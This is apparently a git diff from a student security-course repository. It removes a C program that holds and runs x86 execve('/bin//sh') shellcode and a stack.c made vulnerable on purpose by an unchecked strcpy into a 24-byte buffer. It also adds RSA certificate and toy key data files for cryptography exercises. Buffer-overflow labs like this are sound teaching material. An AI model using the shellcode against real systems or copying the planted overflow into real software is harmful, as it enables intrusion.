-#include <string.h> - -static const char code[] = - "\x31\xc0" /* xorl %eax, %eax */ - "\x50" /* pushl %eax */ - "\x68""//sh" /* pushl $0x68732f2f */ - "\x68""/bin" /* pushl $0x6e69622f */ - "\x89\xe3" /* movl %esp, %ebx */ - "\x50" /* pushl %eax */ - "\x53" /* pushl %ebx */ - "\x89\xe1" /* movl %esp, %ecx */ - "\x99" /* cdq */ - "\xb0\x0b" /* movb $0x0b, %al */ - "\xcd\x80" /* int $0x80 */ - ; - -int -main(int argc, char *argv[]) -{ - void (*sc)() = (void *)code; - sc(); - - return (0); -} diff --git a/security/ex1/src/Makefile b/security/ex2/src/Makefile diff --git a/security/ex1/src/atoh b/security/ex2/src/atoh diff --git a/security/ex2/src/dat/c0.pem b/security/ex2/src/dat/c0.pem @@ -0,0 +1,35 @@ +-----BEGIN CERTIFICATE----- +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 +-----END CERTIFICATE----- diff --git a/security/ex2/src/dat/cert.in b/security/ex2/src/dat/cert.in @@ -0,0 +1,3 @@ +10001 +B8CF80904908D88DE6681CB6624061B6FBD5EC6C8CFD33B7F3730CB3B01F9A7142BA2E89A5354074C7C5C5F319D8EAFF6E471B55FD9A40195ACE3CA00D40087D65601C9BB27FAB940E819C033B429C761B511CD3287F13FFE4C6BB2EC806A8E07853AA7CAA5816AA2004C8D53E8E8931427019DA2F535096DD99DAE96E7387483BCBD647CBE2A880F7B4D17395856858D8FE993672A1DFCD0AD64B8CB8A161D96840FBAF6F41E19F39BDA4A22896F5548B7382CF0705EDBAF42AAF805DC5BCCE203C34468128D3B7CAF2ACB039003D08CDB583B009E9EFB08441ED1A1BD4E8B4793DAE971A1B87273C339F359D29519C9A9DBDFC8228185F22453EA79AFA7082043478FCE673214C643E8682F58B58D5B4E6891CD9D52CACE7EEB6ECD96FE5D3D55D287796ED2E4F1A0B7DC4C3FFD1407F9449218574A267A322A0FC82F329DB555649B123668551E8ED4C4720540FE9A69651610715333980B5225CD4D4A34967A309A5A7EC9E25C67B8A383D35D87B8FE6FB3290025C84B639C668E7E9FC842DC888A4BEED0728423319333FF423C13152AC66214FE3E86B7A6FD930378B58D8EA26110D5D89BD9D5DF0BF2EC69B58866F6255A837BF10C041C376D680B56A63027DD786C6936A2B94816E24E109E82035CFC731C120209CFF6A111814599F39B082DAC1D7F26EC43EF698452B97561682B2BEFF491D5BE90B1AE7F0DE351B +ec3cf68f5f6af78aa54ba9a9cf4effb4583af8626c842f35d228f04c5e54be1d diff --git a/security/ex2/src/dat/decrypt.in b/security/ex2/src/dat/decrypt.in @@ -0,0 +1,4 @@ +0D88C3 +E103ABD94892E3E74AFD724BF28E78366D9676BCCC70118BD0AA1968DBB143D1 +3587A24598E5F2A21DB007D89D18CC50ABA5075BA19A33890FE7C28A9B496AEB +7074A77B724869F59EBA8B790CEAA6A33B2E268A00BAF124BA7C3A6BDE690F36 diff --git a/security/ex2/src/dat/encrypt.in b/security/ex2/src/dat/encrypt.in @@ -0,0 +1,3 @@ +0D88C3 +E103ABD94892E3E74AFD724BF28E78366D9676BCCC70118BD0AA1968DBB143D1 +3587A24598E5F2A21DB007D89D18CC50ABA5075BA19A33890FE7C28A9B496AEB diff --git a/security/ex2/src/dat/priv.in b/security/ex2/src/dat/priv.in @@ -0,0 +1,3 @@ +F7E75FDC469067FFDC4E847C51F452DF +E85CED54AF57E53E092113E62F436F4F +0D88C3 diff --git a/security/ex1/src/dat/verify1_cor.in b/security/ex2/src/dat/verify1_cor.in diff --git a/security/ex2/src/dat/verify1_inc.in b/security/ex2/src/dat/verify1_inc.in @@ -0,0 +1,3 @@ +010001 +AE1CD4DC432798D933779FBD46C6E1247F0CF1233595113AA51B450F18116115 +643D6F34902D9C7EC90CB0B2BCA36C47FA37165C0005CAB026C0542CBDB68022 diff --git a/security/ex1/src/dat/verify2.in b/security/ex2/src/dat/verify2.in diff --git a/security/ex1/src/decrypt.c b/security/ex2/src/decrypt.c diff --git a/security/ex1/src/encrypt.c b/security/ex2/src/encrypt.c diff --git a/security/ex1/src/htoa b/security/ex2/src/htoa diff --git a/security/ex1/src/priv.c b/security/ex2/src/priv.c diff --git a/security/ex1/src/sign.c b/security/ex2/src/sign.c diff --git a/security/ex1/src/tests b/security/ex2/src/tests diff --git a/security/ex1/src/verify.c b/security/ex2/src/verify.c diff --git a/security/ex2/stack.c b/security/ex2/stack.c @@ -1,30 +0,0 @@ -#include <err.h> -#include <stdio.h> -#include <stdlib.h> -#include <string.h> - -int -bof(char *str) -{ - char buf[24]; - - printf("addr: %p\n", buf); - strcpy(buf, str); - return (1); -} - -int -main(int argc, char *argv[]) -{ - FILE *badfp; - char str[517]; - - if ((badfp = fopen("bad", "r")) == NULL) - err(1, "fopen(bad)"); - fread(str, sizeof(char), 517, badfp); - fclose(badfp); - bof(str); - printf("returned\n"); - - return (0); -}